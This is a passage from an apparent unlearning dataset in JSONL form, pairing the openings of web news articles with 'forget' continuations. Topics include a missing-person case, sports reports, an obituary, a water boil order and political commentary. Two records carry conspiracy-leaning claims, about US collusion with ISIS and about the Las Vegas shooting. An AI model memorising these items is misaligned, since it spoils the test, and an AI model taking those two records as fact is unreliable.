jeweler to get fitted. This is a"}
{"prompt": "Erin Corwin, who turned 20 on July 15, 2014, has been missing from her home at the Marine Corps Air Ground Combat Center at Twentynine Palms Marine since June 28. Erin Corwin, who has been missing from the Twentynine Palms area since June 28. (Provided) (Photo11: Provided photo) Story Highlights Corwin has been missing since June 28 The search encompasses more than 200 square miles Corwin recently learned she was pregnant Police: Disappearance 'not voluntary' Published July 15, 2014. Erin Corwin is 20 years old today. Corwin has been missing from her home at the Marine Corps Air Ground Combat", "forget": "Center at Twentynine Palms since June 28. So far, a massive search covering at least 200 square miles of treacherous high desert terrain has turned up no clues about where she went and why she hasn't been in touch. Corwin's husband, Lance Cpl. Jonathan Corwin, reported her missing on June 29, 24 hours after he says he last saw her leave the couple's house, get in her car and drive in the direction of Joshua Tree National Park. She was heading to the desert preserve, said her husband, to scout locations for picture-taking during an upcoming visit from her mom. According to police, Corwin's disappearance is \"not voluntary.\" On Facebook, the Locate Erin page has amassed more than 17,000 followers since her disappearance with concern and support for her family coming from as far away as Thailand and Australia. A message posted this morning to mark Erin's birthday has already drawn close to 100 comments and more continue to pour in. \"I don't know her personally but have been praying for her, her husband and her family everyday,\" writes one commenter. \"Let today be the day that she is found safe and sound and returned to her loved ones. Prayers from GA.\" \"HBD, Beautiful \u2661,\" writes another. \"Praying you are found unharmed and returned to your family.\" On Monday evening, Marines and their families gathered at Twentynine Palms to share their grief -- and fears -- about the missing friend and neighbor. Anyone with information about Erin Corwin is urged to contact the San Bernardino County Sheriff's Specialized Investigation Division at (909) 387-3589 or sheriff's dispatch at (909)387-8313. Anonymous tips can be called in to the WeTip Hotline at (800) 78-CRIME (27463) or at www.wetip.com Corwin is described as white, 5-foot-2, weighing 120 pounds with brown hair and blue eyes."}
{"prompt": "This video has been removed. This could be because it launched early, our rights have expired, there was a legal issue, or for another reason. The television presenter Keith Chegwin, who made his name presenting the popular children\u2019s shows Cheggers Plays Pop and Saturday Superstore, has died aged 60. He had a progressive lung condition and died at home surrounded by his family. The family said in a statement: \u201cWe are heartbroken to share the news that Keith Chegwin sadly passed away following a long-term battle with a progressive lung condition, idiopathic pulmonary fibrosis, which rapidly worsened towards the end", "forget": "of this year.\u201d Chegwin spent his final weeks at Severn Hospice, in Shrewsbury, and his family thanked the staff for their \u201ckindness, support and care\u201d. Facebook Twitter Pinterest Keith Chegwin (centre) with Debby Cumming and Gordon Astley on Cheggers Plays Pop in 1979. Photograph: Ronald Grant Born in Liverpool, Chegwin began his acting career at the age of 10 and had roles in Roman Polanski\u2019s 1971 film version of Macbeth, the 1973 movie The Optimists of Nine Elms, alongside Peter Sellers, and the pilot of the TV sitcom Open All Hours. In the 1970s and 1980s he hosted shows including Cheggers Plays Pop, in which teams of children from rivals schools competed against each other; Multi-Coloured Swap Shop, one of the first TV shows to use phone-ins; and Saturday Superstore, which featured a children\u2019s talent contest. On Monday, fellow presenters and comedians expressed their sadness at his death. The DJ Tony Blackburn said he was \u201cabsolutely devastated\u201d to hear the news. \u201cHe was one of the nicest people I have ever known and over the years we did shows together and became great friends.\u201d The former heavyweight boxing champion Frank Bruno tweeted: \u201cSaddened to hear this, what a great guy. I worked with him a lot over the years, a great entertainer, you will be missed. RIP Keith Chegwin.\u201d Keith Chegwin obituary Read more Chegwin took a break from broadcasting in the late 1980s to deal with an alcohol problem, which he first spoke about publicly in 1992 in a tearful interview with Richard and Judy on ITV\u2019s This Morning. He returned to TV with the Big Breakfast, It\u2019s a Knockout and Channel 5\u2019s divisive gameshow Naked Jungle, which Chegwin presented naked and wearing a hat. He later regretted doing the show. \u201cIt\u2019s the worst career move I made in"}
{"prompt": "\u200bOn December 19, the National Hockey League celebrates the 100th anniversary of its on-ice debut \u2014 but it\u2019s a safe bet that the man most responsible for the league\u2019s existence won\u2019t receive any special tributes. Yet, had it not been for the sheer animosity that surrounded Toronto sportsman Eddie Livingstone, fans might be enjoying games hosted by the National Hockey Association instead of the NHL. \u201cA combative, sanctimonious and generally difficult personality,\u201d according to hockey history enthusiast (and former prime minister) Stephen Harper, Livingstone \u201cexpected others to live rigidly by the rules while he would skirt their spirit. He regularly", "forget": "denounced those with whom he clashed, while demanding apologies for the thinnest of slights.\u201d Another hockey historian, D\u2019Arcy Jenish, observed that Livingstone was \u201ca slight, bespectacled man who had the gentle demeanour of a pastor but the fastidious personality of a tax collector or a customs inspector.\u201d Eddie Livingstone entered the NHA in 1914 and was ousted just a few years later. Livingstone, who worked as assistant sports editor for the Mail and Empire, feuded with other owners from the moment he entered the NHA in 1914. In particular, he and Sam Lichtenhein, of the Montreal Wanderers, had it out for each other \u2014 each man threatened to buy the other out, and the two even came close to blows on several occasions. When Livingstone, who already owned a team called the Shamrocks, bought another club, called the Blueshirts, the league quickly enacted a new rule, prohibiting any person from owning more than one franchise. Livingstone complained constantly about irregularities he perceived on and off the ice \u2014 from questionable refereeing to questionable business practices by the other owners \u2014 leading the league to devise ways of getting rid of him. Things came to a head in early 1917. To help the military recruit more fans, the NHA admitted a team representing the Canadian Expeditionary Force\u2019s 228th Battalion for the 1916-17 season. Livingstone disputed their claims to two of his Toronto Blueshirts players who\u2019d enlisted in the military; as a result, the 228th to threaten to pull out of the league if Livingstone continued to play them. When the 228th Battalion withdrew from the NHA in February 1917, having been called up to fight in Europe, the other owners saw their chance. The league held a meeting three days later. Livingstone declined to attend, due to illness; instead, he sent"}
{"prompt": "Leicester were twice denied by the woodwork as well as by saves from Ben Foster Leicester missed the chance to go five points clear at the top of the Premier League as West Brom came from behind to claim a thrilling draw. Salomon Rondon shrugged off Robert Huth to give West Brom the lead, but a Danny Drinkwater deflected shot levelled it. Andy King finished a wonderful move to put Leicester ahead only for Craig Gardner to equalise with a free-kick. Leicester twice hit the bar at a raucous King Power Stadium, but could not find a winner. The draw", "forget": "leaves the Foxes three points ahead of Tottenham, who can go top with victory at West Ham on Wednesday, and six ahead of Arsenal, who face Swansea. West Brom, who have now lost only two of their past 10 league games, stay 13th - 12 points clear of the relegation zone. Relive Leicester's thrilling draw with West Brom No more late drama Media playback is not supported on this device No negatives despite a draw - Ranieri Leicester were below their best on Saturday but still managed to beat Norwich thanks to a late winner - here they were much improved, but could not conjure similar drama despite laying siege to the West Brom goal. West Brom may have planned to concede possession and defend deep, and they were duly bombarded by wave after wave of Leicester attacks, mainly down the flanks through the excellent pair of Riyad Mahrez and Marc Albrighton. On Saturday, the Foxes had 13 attempts on goal - here they had 22, with headers from Jamie Vardy and Shinji Okazaki hitting the woodwork. Ben Foster also saved well from Jeffrey Schlupp and Wes Morgan, while Leonardo Ulloa could not repeat his weekend heroics when the ball flashed across the face of goal in the very last minute. Baggies forced out of their shell Eight of West Brom's 11 attempts on goal came in the second half West Brom could have been forgiven for thinking that allowing Leicester the lion's share of possession was a sound approach. Against Norwich, Leicester had the majority of the ball for only the third time this season and struggled. Whether by design or necessity, the Baggies were happy to sit back in the first period, especially after Rondon got on the end of Darren Fletcher's through ball to put the visitors"}
{"prompt": "Mandalay Bay & MGM Ban OnSite Investigator \u2013 Armed Guards & FBI Agent Throw Him Out Of His Room An independent onsite investigator by the name of Nick Falco decided to stay at the Mandalay Bay hotel and casino and investigate things pertaining to the Las Vegas shooting. He was subsequently banned from the hotel, as well as MGM for life and escorted out of his hotel room by armed guards and an FBI agent. The actions of Falco and the hotel occurred within 24 hours of his arrival. Falco tweeted out his investigation (his tweets require approval to be", "forget": "seen, but I have linked them below), along with the ban he received from Mandalay Bay & MGM. \u201cI questioned the #LasVegas shooting narrative. I went to Mandalay Bay to check for myself. After 24 hours I was banned for life from MGM,\u201d tweeted Falco, providing the following picture to prove his ban: https://t.co/AEdgzRGfG8. Falco spoke with Intellihub and sought to confirm certain things, including the validity of the receipt that was leaked online from Stephen Paddock\u2019s room. Intellihub reports: Falco told Intellihub exclusively that he received a phone call from the front desk of Mandalay Bay shortly before 7:30 p.m. in which a female operator instructed him to answer his hotel room door where four men (two armed guards, a security guy, and an FBI agent) simultaneously met him. Falco was then told to pack up his belongings before the FBI agent conducted a subsequent inspection of his room. Soon after the independent investigator says that he was escorted over to the main entrance of the Mandalay Bay where a security guard stood him in front of a camera and verbally read him the trespass. During Falco\u2019s visit, he was able to prove that the leaked online version of Stephen Paddock\u2019s room service receipt was, in fact, \u201cauthentic\u201d after comparing it to a receipt he himself received after ordering room service Saturday morning. Here\u2019s the series of tweets from Falco with links to each tweet. 2. I stayed at Mandalay Paddocks room service receipt was leaked online. It is authentic.https://t.co/us9zDGoU57 Here\u2019s mine- ONE guest pic.twitter.com/JEAyuEzpKM \u2014 Nick (@Nick_Falco) October 15, 2017 3. There\u2019s 1000s of surveillance cameras in gaming area, mostly visible There\u2019s a surveillance camera in each main elevator. You cant hide pic.twitter.com/qXeOlORYUb \u2014 Nick (@Nick_Falco) October 15, 2017 He did shoot down theories that Paddock used his"}
{"prompt": "The state agency created to keep watch over the state\u2019s health care costs has seen its own budget skyrocket by ?160 percent over the past decade in a \u201cvery troubling and ironic\u201d trend that has too long gone unchecked, a nonprofit group representing Bay State hospitals charged. Administrative costs at the Center of Health Information and Analysis have grown to $32 million after spikes of ?21 percent and 6 percent in its appropriations the last two years, according to a letter the Massachusetts Hospital Association sent to CHIA last month. In this fiscal year alone, hospitals are being asked to", "forget": "pay ?45 percent more than they did in fiscal 2014, not including any \u201ccredit\u201d left over from last year, according to the hospital group. \u201cThis trend is unsustainable and directly contradicts the cost growth expectations of the commonwealth\u2019s 2012 health care reform law,\u201d Timothy F. Gens, the executive vice president and general counsel for MHA, wrote in a Nov. 17 letter obtained by the Herald that was sent to CHIA executive director Aron Boros. \u201cWhile the agency has the requirement to study cost growth per the law, we find it very troubling and ironic that its own costs \u2014 which are billed to the same entities it is charged with measuring \u2014 greatly exceed the commonwealth\u2019s benchmark,\u201d Gens wrote. Andrew Jackmauh, a CHIA spokesman, defended the spikes in the center\u2019s budget, arguing that it took on a range of added responsibilities that its predecessor, the Division of Health Care Finance and Policy, never had and that \u201cincrease reflects investments necessary to meet CHIA\u2019s increased obligations.\u201d Jackmauh also said CHIA didn\u2019t request a budget increase in 2012, its first year under the new law, and that its next budget request is for a 2 percent increase targeted to match inflation. \u201cWe have now moved from a growth mode to maintenance mode,\u201d Jackmauh said. But in raising the red flag, MHA officials say lawmakers need to step in to change the funding formula, which makes hospitals and ambulatory surgery centers responsible for backing at least one-third of CHIA\u2019s budget. But as CHIA\u2019s directives have \u201cevolved\u201d under the landmark legislation, Gens said the hospitals\u2019 share has risen to ?50 percent of the center\u2019s administrative costs, straining them as they try to rein in their own costs. \u201cWe don\u2019t propose that they don\u2019t get support,\u201d Gens said of the center. \u201cBut what\u2019s turned out"}
{"prompt": "The power of a brand is that it can instantly give consumers the impression of quality and consistency. A great brand is an assurance that a product or service is worth the asking price and more. However, when a brand goes bad, it can be caught in a negative feedback loop that the company, despite its best efforts, can't escape. The five household names below are in this predicament, and it may only be a matter of time before they disappear. Kmart While the whole structure of Sears Holdings (NASDAQOTH:SHLDQ) looks like it's teetering on the edge of bankruptcy, Kmart", "forget": "may be the division of the company that succumbs first -- the lamb that's sacrificed in an effort to save the Sears brand. Although Kmart is actually performing slightly better than Sears, relatively speaking, the Kmart chain has endured the largest number of store closures over the past year. At the end of the second quarter in July, there were 273 fewer Kmart stores operating than there were in the year-ago period, while Sears had 69 fewer stores. Sears chairman and CEO Eddie Lampert swore last year he wasn't shuttering the Kmart chain despite all appearances to the contrary, saying that as long as one store remained profitable, there would always be one open. Though the chain still shows an operating profit at the moment and its sales aren't declining as quickly as Sears', it's still being dramatically downsized, and it may ultimately shrink to the point of disappearing. The Limited The Limited was once a popular working woman's clothing brand owned by Limited Brands, which also owns Victoria's Secret and Bath & Body Works. But the parent company must have seen the writing on the wall when it sold The Limited to private-equity firm Sun Capital Partners. The Limited ended up closing every single one of its 250 brick-and-mortar stores and firing 4,000 employees, with the intent to move all its inventory online. It's not an unprecedented move. Kenneth Cole shut down its physical operations and went all in as an online-only store, as did women's fashion outlet bebe. Filene's Basement, after declaring bankruptcy, was revived by Macy's (NYSE:M) in 2015 as an online-only discount site. In mid-January, however, The Limited declared bankruptcy and was subsequently purchased by private-equity firm Sycamore Partners. Just last month, The Limited products were made available for purchase once again on its own website,"}
{"prompt": "(ANTIMEDIA) \u2014 With numerous distractions unfolding on the newly released reality TV show that is \u201cKeeping Up with the Trump Administration,\u201d it may surprise readers to learn that the U.S. is using the terror group ISIS as a pawn in its depraved foreign policy. Video footage obtained by Al-Masdar appears to show convoys of ISIS fighters fleeing the Syrian city of Raqqa untouched by the U.S. military, which is currently bombing that exact location. As Al-Masdar notes, despite having Kurdish and American drones hovering around the city of Raqqa, U.S. bombs are nowhere to be seen as hundreds of fighters", "forget": "pass safely. The release of this footage comes on the heels of accusations from both Russia and Iran that the U.S. is colluding with ISIS to allow the group\u2019s safe passage into areas controlled by the Syrian government. Iran claims to have direct proof but thus far has not released it. Even if Russia and Iran don\u2019t have any secret documents that directly expose this collusion, the fact remains that we don\u2019t necessarily need them. After all, this is exactly how ISIS grew exponentially in Syria in the first instance \u2013 as a direct result of U.S. foreign policy strategy. In 2012, a classified Defense Intelligence Agency report predicted the rise of ISIS, something actively encouraged by the U.S. establishment. The report stated: \u201cIf the situation unravels, there is the possibility of establishing a declared or undeclared Salafist principality in eastern Syria\u2026 and this is exactly what the supporting powers to the opposition want, in order to isolate the Syrian regime.\u201d Further, leaked audio of former Secretary of State John Kerry shows he knew ISIS was gaining momentum in Syria, and that in turn, the U.S. hoped this would bring Syrian President Bashar al-Assad to the negotiating table. In recent times, the safe passage of ISIS fighters to areas under the control of the Syrian government has been an unspoken but official strategy and has been the reality on the ground in Iraq and Syria. Late last year, Anti-Media reported on an anonymous military-diplomatic official\u2019s claims that the United States was allowing safe passage to Syria for ISIS fighters exiting Mosul, Iraq \u2013 even though the U.S. was supposedly waging an offensive to defeat ISIS in the area. As we noted, acknowledging the admittedly undesirable, questionable nature of the anonymous source: \u201cAn anonymous source claiming to a Russian newspaper something"}
{"prompt": "Trump and Christie campaign in Bentonville, Ark., February 27, 2016. (Benjamin Krain/Getty) The arch-villain in Donald Trump\u2019s storybook account of American politics is the Republican party. The malign forces of progressivism may have been on the march for the past several years. Harry Reid and Nancy Pelosi have been hovering like Nazg\u00fbls over the bucolic expanses of middle America. Barack Obama has wielded vengefully the One Pen to Rule Them All. But it\u2019s Republicans who are the real problem. The Grand Old Party has aided and abetted the country\u2019s leftward lurch, proving themselves quislings and cowards all the way down,", "forget": "from John Boehner to John McCain. Breitbart.com hath surveyed the nation, and, lo, there was not a conservative to be found among them! Advertisement Advertisement It turns out that Trump fans were right all along \u2014 just not in the way they thought. On Friday, New Jersey governor Chris Christie endorsed Donald Trump in what was surely the most transparent display of affection since Judas Iscariot\u2019s Gethsemane smooch. Not only had Christie spent the last several months blasting his tri-state opponent on the campaign trail \u2014 for, among other things, his absurd promise to make Mexico pay for a wall on the United States\u2019 southern border, his proposed ban on Muslims entering the country, and his refusal to address entitlement reform \u2014 he reportedly told the New Hampshire Union Leader\u2019s publisher, Joe McQuaid, that he would \u201cnever\u201d endorse Trump. Christie says McQuaid is misremembering. RELATED: Nothing Will Redeem the Ruined Reputations of Trump\u2019s Republican Collaborators Presumably, Christie thinks an endorsement will increase the likelihood of his securing a position in a Trump administration (and given Trump\u2019s financial history, that is a likelier prospect than his receiving 30 pieces of silver). But he has agreed to be, for the next several months, willingly at the end of Trump\u2019s leash, evidence of which was Trump and Christie\u2019s brief exchange after Christie\u2019s speech in Arkansas: \u201cGet on the plane and go home,\u201d Trump said, caught on a hot mic. \u201cIt\u2019s over. Go home.\u201d There are pimps and prostitutes with more equitable relationships. The Republican party is full of people who care more about power than about conservatism. Speaking of prostitutes: On Sunday, Alabama senator Jeff Sessions offered Trump his own endorsement. Sessions is, of course, the Republican party\u2019s famous immigration hawk \u2014 a fierce, and fiercely intelligent, opponent of unchecked immigration, of amnesty,"}
{"prompt": "Buy Photo A series of water pipes at Indiana American Water Co. Tuesday. The city issues a boil order for its water after a valve was opened too wide, leading to contamination. (Photo: Jordan Kartholl / The Star Press)Buy Photo MUNCIE, Ind. \u2014 A boil order announced early Tuesday morning for the city of Muncie was lifted by 8:30 p.m. Tuesday after tests found water to be safe for consumption. Valves that were opened too wide, allowing too much water to rush through a treatment plant system, resulted in the boil order, closing some restaurants and prompting schools and other", "forget": "institutions to implement emergency steps to provide drinking water. The city of Muncie and some of the surrounding area had been placed on the boil order because of the valve mishap at Indiana American Water Company's plant along Burlington Drive. Delaware County Emergency Management announced in an email Tuesday night that testing sites in and around Muncie had been tested throughout the day, and \" All indications have been that the water is safe for consumers to use and return to all normal water usage.\" Indiana American Water Company phoned customers with an automated \"all clear\" announcement shortly after that. The water company issued an alert shortly after midnight Tuesday morning noting that \"during routine maintenance, issues with valves opening beyond their normal range resulted in an increased turbidity level beyond the permitted limit for less than one hour in the Muncie system.\" The turbidity level was below the Environmental Protection Agency level, Indiana American said. In initial social media postings, Delaware County 911 attributed the problem to a water main break along Burlington Drive, where the water company office is located. But Indiana American Water spokesman Joe Loughmiller told The Star Press early Tuesday, and again later in the morning, that the alert and boil order were because valves at the company's water plant \"were opened too far.\" \"This had to do with doing maintenance,\" Loughmiller said. \"It had nothing to do with a main break. This order was not the result of a break.\" Loughmiller said valves in the filtering system at the plant were opened too wide around 3 p.m. Monday. Water company executives assessed the situation and consulted with the Indiana Department of Environmental Management before issuing the \"Code Red\" alert and boil order. The water that moved too quickly through the system was from White"}
{"prompt": "JOHN Carver insists he will NOT step aside at Newcastle United \u2013 even though he fears some players aren\u2019t listening to him. Carver\u2019s side slipped deeper into the relegation mire after an eighth successive defeat to Leicester City at the weekend. The performance at the King Power Stadium, where Newcastle were beaten 3-0, was one of the worst of the Premier League era. And the loss left the club is just two points above third-from-bottom Sunderland, who have a game in hand. Many fans want head coach Carver to be relieved of his duties before Saturday\u2019s home game against West", "forget": "Bromwich Albion given his dire record as head coach. But the odds are stacked against Steve McClaren, the frontrunner to take the job in the summer, taking charge for the final three games of the season, despite Derby County\u2019s campaign having ended at the weekend. I\u2019m not going anywhere until someone comes to me and tells me otherwise. John Carver For his part, Carver \u2013 who accused United defender Mike Williamson of getting sent off \u201con purpose\u201d in Saturday\u2019s 3-0 loss at the King Power Stadium \u2013 has no intention of stepping down. \u201cI\u2019m not going anywhere until someone comes to me and tells me otherwise,\u201d said Carver. \u201cI\u2019m not a shirker, and I\u2019m not going to hide from anyone. I\u2019m going to stand there and take it, because I have to.\u201d Carver had a brief conversation with managing director Lee Charnley after the Leicester game. He said: \u201cI had a quick chat with Lee Charnley, but it was nothing serious. \u201cHe was basically just asking how I was and how I was feeling. It was a nice, calm conversation.\u201d Newcastle have won just two of 16 league games under Carver, who took over from Crystal Palace-bound Alan Pardew at the turn of the year. And, astonishingly, the 50-year-old has admitted that there is a chance some of his players simply are no longer listening to what he is saying on the training field and in the dressing room. \u201cIf I\u2019m honest, I have to admit there\u2019s a chance they\u2019re just not listening to me,\u201d said Carver. \u201cThat might be one factor of many, and you have to consider it. You have to consider it and take it into account. \u201cBut it might be a lot of other things \u2013 we might not be good enough, we might not have"}
{"prompt": "The House passed a massive $662 billion defense bill Wednesday night after last-minute changes placated the White House and ensured President Barack Obama's ability to prosecute terrorist suspects in the civilian justice system. The vote was 283-136 and reflected the strong support for annual legislation that authorizes money for the men and women of the military as well as weapons systems and the millions of jobs they generate in lawmakers' districts. It was a rare instance of bipartisanship in a bitterly divided Congress. The Senate is expected to pass the measure on Thursday and send it to Obama. The House", "forget": "vote came just hours after the administration abandoned a veto threat over provisions dealing with the handling of terrorism suspects. Applying pressure on House and Senate negotiators working on the bill last week, Obama and senior members of his national security team, including Defense Secretary Leon Panetta and Secretary of State Hillary Rodham Clinton, had pressed for modifications in the provisions. Negotiators announced the changes late Monday, clearing the way for White House acceptance. In a statement, press secretary Jay Carney said the new bill \"does not challenge the president's ability to collect intelligence, incapacitate dangerous terrorists and protect the American people.\" Specifically, the bill would require that the military take custody of a suspect deemed to be a member of Al Qaeda or its affiliates and who is involved in plotting or committing attacks on the United States. There is an exemption for U.S. citizens. House and Senate negotiators added language that says nothing in the bill will affect \"existing criminal enforcement and national security authorities of the FBI or any other domestic law enforcement agency\" with regard to a captured suspect \"regardless of whether such ... person is held in military custody.\" The bill also says the president can waive the provision based on national security. \"While we remain concerned about the uncertainty that this law will create for our counterterrorism professionals, the most recent changes give the president additional discretion in determining how the law will be implemented, consistent with our values and the rule of law, which are at the heart of our country's strength,\" Carney said. Uncertainty was a major concern of FBI Director Robert Mueller, who expressed serious reservations about the detainee provisions. Testifying before the Senate Judiciary Committee, Mueller said a coordinated effort by the military, intelligence agencies and law enforcement has weakened"}
{"prompt": "There are two universal languages in the world: mathematics and music. In Japan, Vocaloid has made thousands of songs using synthetic voices and sounds. The most popular model is Hatsune Miku, who has gotten international attention as well as quite a few video game appearances. While music-based video games (and even music-based movies) are nothing new, Muya Agami, in collaboration with [email protected], has set out to create a novel based upon one of the most popular (and hardest) Vocaloid songs in Japanese history. The Disappearance of Hatsune Miku is a solid light novel with a few surprisingly heartfelt moments", "forget": "sprinkled within the pages. The Disappearance of Hatsune Miku revolves around the life of Shinosato Asano, a reserved university student that works at a research lab and part time at a nightclub. One day, his professor assigns him a mysterious task: he must conduct a field test for an android named Hatsune Miku. While the task is open-ended, Asano initially struggles to interact with the robot, and it doesn\u2019t help matters when his friends Kurose Aika and Ishiii Juhachi wonder what he\u2019s doing with a girl who looks like a fish out of water. Within a couple of weeks, however, Asano and Miku form a bond as they become intertwined with each other; however, Miku holds some devious secrets that may change Asano\u2019s life forever. The novel\u2019s chapters are separated by date and time, with the main story focusing on Asano\u2019s point-of-view. His first interactions with Miku are weird and jilted, but it\u2019s understandable due to his somewhat timid personality. He struggles to open up to her, and his character development is actually quite heartwarming, if somewhat tragic near the end. In addition, I really enjoyed the supporting cast of Asano\u2019s friends; Aika is the resident shipper-on-deck who provides some comic relief, while Juhachi is the tough guy dropout that\u2019s sometimes too confident for his own good. The trio play off each other\u2019s personalities really well, and I love the best friends dynamic they share. It was quite interesting to see how the author portrayed Miku (who doesn\u2019t have a canon personality due to her being, well, synthetic). Here, she\u2019s peppy and charismatic, attracting those around her with her signature outfit and singing voice. Near the end, however, her character morphs into something more robotic and stoic, which marks the change of tone in the novel. The story does reference"}
{"prompt": "Forget tax breaks or middle-class welfare. Rightwing political parties\u2019 best chance of rapidly winning over voters could be via the lottery, according to new research. A joint Australian and British study has found that lottery winners tend to switch their political allegiances to rightwing parties after their windfalls. They also appear to become less egalitarian and less concerned by the challenges faced by people on low incomes. The research analysed more than 4,000 British citizens who won up to \u00a3200,000 ($365,000) on the country\u2019s national lottery. Most of these wins were of relatively small amounts, with only 541 people winning", "forget": "over \u00a3500 ($910). In all, there were around 11,000 observations of winners, due to the fact that many people won money more than once. Even among those who won small amounts of money, researchers found a clear trend of lottery winners switching support from the Labour party, traditionally a leftwing party, to the rightwing Conservatives. Existing Conservative voters who won lottery money said their support for the party had strengthened after the lucky break, while winners from all political persuasions were more likely to say that ordinary people already had a fair share of wealth, compared with before their win. Nearly 18% of winners immediately switched support to the Conservatives after their wins over the course of the study, which was based on household panel surveys taken each year from 1996 to 2009. Overall, 45% of people who won more than \u00a3500 on the lottery said they supported rightwing parties, compared with 38% of non-winners throughout the course of the studies. The lurch to the right was more pronounced for those who won large amounts of money and was more common among men than women. Researchers \u2013 from the University of Melbourne and the University of Warwick \u2013 said that studying lottery winners \u201cisn\u2019t perfect\u201d due to unknown biases such as the personality traits of people who play the lottery in the first place. But they point out that more than 50% of the British population plays the lottery on a regular basis. Data on how lottery wins correlate with political views has yet to be gathered in Australia. Professor Nattavudh Powdthavee, a report co-author at the University of Melbourne, told Guardian Australia that the researchers were studying whether political ideologies are driven by deeply held ethical views or self-interest. \u201cThe amount won in the lottery is completely randomised but"}
{"prompt": "Photovore roared, the massive creature\u2019s head thrown back in a cry of victory. The air around it grew dark as it drew in the ambient light. Blaze lay on the asphalt at the monster\u2019s feet, drained and unconscious. Huma was still in the air, trying to get a shot at Photovore but barely dodging the creature\u2019s blasts of scorching heat. Lian\u2014she still didn\u2019t think of herself as Hornet\u2014watched from atop a nearby roof, trying desperately to come up with a new play\u2026but instead, thinking about what Mantis would say when they got back to base. \u201cWhy couldn\u2019t you keep control?\u201d,", "forget": "or \u201cYou have to do better, Hornet,\u201d or the worst, \u201cAre you sure you still want to be here?\u201d No. She couldn\u2019t let herself get distracted. Mantis would lecture her soon enough. Right now? She and her team had a monster to take down. She put her hand to her ear and clicked on her communicator. \u201cBlaze, if you can hear me, stay low. Huma, get ready to come in at a 45 degree angle along the street. I have a plan. We can do this, boys.\u201d We can do this, she thought, and she dove off the building into battle. Masks is a tabletop roleplaying game in which you play young superheroes who are growing up in a city several generations into its superheroic age. Halcyon City has had more than its fair share of superheroes, superteams, supervillains, and everything in between. Over the course of three different generations of super-people, Halcyon City has seen it all. You play members of the fourth generation, young adults trying to figure out who they are and what kind of heroes they want to be. The rest of the world is telling them what to do, but they\u2019ll find their own path amidst the noise. And kick some butt along the way. After all, what\u2019s the point of being a hero if you can\u2019t fight for the things you believe in? Masks is based on the award-winning Powered by the Apocalypse system developed by Vincent Baker and used in Apocalypse World, Monsterhearts,Urban Shadows, and more. It\u2019s a rules-light system that fuels some of the best innovations in gaming in the last ten years, and Masks has been built from the ground up to incorporate everything I\u2019ve learned about Powered by the Apocalypse games. When you take an action that would trigger a"}
{"prompt": "The chance that intelligent life might ever encounter this interstellar mixtape\u2014let alone listen to it\u2014has always been infinitesimal. Still, argued astrophysicist Carl Sagan, who helped select the tracks, \"the launching of this bottle into the cosmic ocean says something very hopeful about life on this planet.\" There is indeed something lovely about sharing humanity with the universe in this way, as Megan Garber wrote last year: The Golden Records ... carry the transcendent aspects of human existence: the art, the beauty, the ache, the joy. They offer what we have, and what we are, up to the cosmos. But what", "forget": "if the improbable were to happen? Here on Earth, 10-year-old CDs are puttering out. What about a pair of 40-year-old records careening through outer space? Even if extraterrestrials found and figured out how to work the Golden Record, would it play anymore? Actually, yes, experts say. \"The gold records that were launched into space were specially constructed discs for the purposes of space travel,\" said Peter Alyea, a digital conservation specialist at the Library of Congress who specializes in audio recordings. \"I believe they were designed to last for a very, very long time and so should still be playable. This kind of disc is not something you could buy commercially at a record store.\" And besides, Voyager's Golden Record has thus far been kept safe from the elements\u2014high temperatures, oxygen, water\u2014known to deteriorate Earthly records. (Voyager is now operating at about negative 110 degrees Fahrenheit.) \u201cIf I had to guess, I'd say it's as fresh and new as the day it was placed aboard the spacecraft,\" said David Doody, an engineer on the Voyager mission at NASA\u2019s Jet Propulsion Laboratory, in an email. \"It's been stored in a vacuum more perfect than any attainable on Earth, and protected from dust and cosmic rays by an aluminum metal case.\" That protective aluminum case has had quite the adventure\u2014it got a dose of radiation near Jupiter and was blasted with space dust in Saturn's ring plane\u2014but Doody says it has been \"basically always shielded\" at least enough to protect the record's functionality. \"In all, it might have lost a little luster at worst, in my humble opinion,\" he said. \"I'd also venture to guess that it would be in playable condition for many hundreds of millennia.\u201d Which raises a theoretical question about what version of Earth the rest of the universe"}
{"prompt": "Note: Latency in the video stream means index items will appear first. 11:34:18 Oral Questions to the Secretary of State for Scotland 11:34:24 Q1. What discussions he has had with the Chancellor of the Exchequer on the amount of LIBOR funding available to museums, galleries and tourist attractions in Scotland. (907316) 11:34:30 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:34:48 Stewart Malcolm McDonald MP (Glasgow South, Scottish National Party) 11:35:16 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:35:47 Alan Brown MP (Kilmarnock", "forget": "and Loudoun, Scottish National Party) 11:36:06 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:36:41 John Stevenson MP (Carlisle, Conservative) 11:37:02 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:37:34 Q2. What progress has been made on the transfer of powers to the Scottish Government under the provisions of the Scotland Act 2016. (907317) 11:37:37 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:37:52 Mr Stewart Jackson MP (Peterborough, Conservative) 11:38:20 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:39:04 Rt Hon Angus Robertson MP (Moray, Scottish National Party) 11:39:35 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:39:56 Rt Hon Angus Robertson MP (Moray, Scottish National Party) 11:40:37 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:41:15 Iain Stewart MP (Milton Keynes South, Conservative) 11:41:29 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:41:54 Angus Brendan MacNeil MP (Na h-Eileanan an Iar, Scottish National Party) 11:42:20 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:42:40 Stephen Pound MP (Ealing North, Labour) 11:43:22 Rt Hon David Mundell MP, The Secretary of State for Scotland (Dumfriesshire, Clydesdale and Tweeddale, Conservative) 11:44:12 Q3. What steps he is taking to ensure that Scottish SMEs are protected from economic uncertainty. (907318) 11:44:17 Margot James MP, Parliamentary Under-Secretary (Department for Business, Energy and Industrial Strategy) (Stourbridge, Conservative) 11:44:35 